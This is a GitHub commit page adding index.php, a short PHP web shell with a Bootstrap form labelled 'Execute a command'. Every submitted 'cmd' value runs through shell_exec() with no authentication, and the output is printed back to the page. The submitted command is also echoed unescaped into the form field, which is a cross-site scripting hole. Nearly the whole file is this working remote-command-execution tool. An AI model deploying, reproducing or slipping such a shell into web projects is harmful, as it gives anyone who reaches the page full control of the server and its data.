Skip to content

Commit 21e131d

Browse files
authored
Create index.php
1 parent 7241816 commit 21e131d

File tree

1 file changed

+62
-0
lines changed

1 file changed

+62
-0
lines changed

index.php

+62
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
<?php
2+
3+
if (!empty($_POST['cmd'])) {
4+
$cmd = shell_exec($_POST['cmd']);
5+
}
6+
7+
?>
8+
<!DOCTYPE html>
9+
<html>
10+
11+
<!-- By ArtyumX (https://github.com/ArtyumX) -->
12+
13+
<head>
14+
15+
<meta charset="utf-8">
16+
17+
<meta http-equiv="X-UA-Compatible" content="IE=edge">
18+
19+
<meta name="viewport" content="width=device-width, initial-scale=1">
20+
21+
<link rel="stylesheet" type="text/css" href="//bootswatch.com/flatly/bootstrap.css">
22+
23+
<title> CMD </title>
24+
25+
<style>
26+
.container {
27+
width: 850px;
28+
}
29+
</style>
30+
31+
</head>
32+
33+
<body>
34+
35+
<div class="container">
36+
37+
<div class="page-header">
38+
<h2> Execute a command </h2>
39+
</div>
40+
41+
<form action="" method="POST">
42+
<div class="form-group">
43+
<label for="cmd">Command</label>
44+
<input type="text" class="form-control" name="cmd" id="cmd" value="<?= $_POST['cmd'] ?>">
45+
</div>
46+
<button type="submit" class="btn btn-default">Execute</button>
47+
</form>
48+
49+
<?php if ($cmd): ?>
50+
<div class="page-header">
51+
<h2> Output </h2>
52+
</div>
53+
<pre>
54+
<?= $cmd ?>
55+
</pre>
56+
<?php endif; ?>
57+
58+
</div>
59+
60+
</body>
61+
62+
</html>

0 commit comments

Comments
 (0)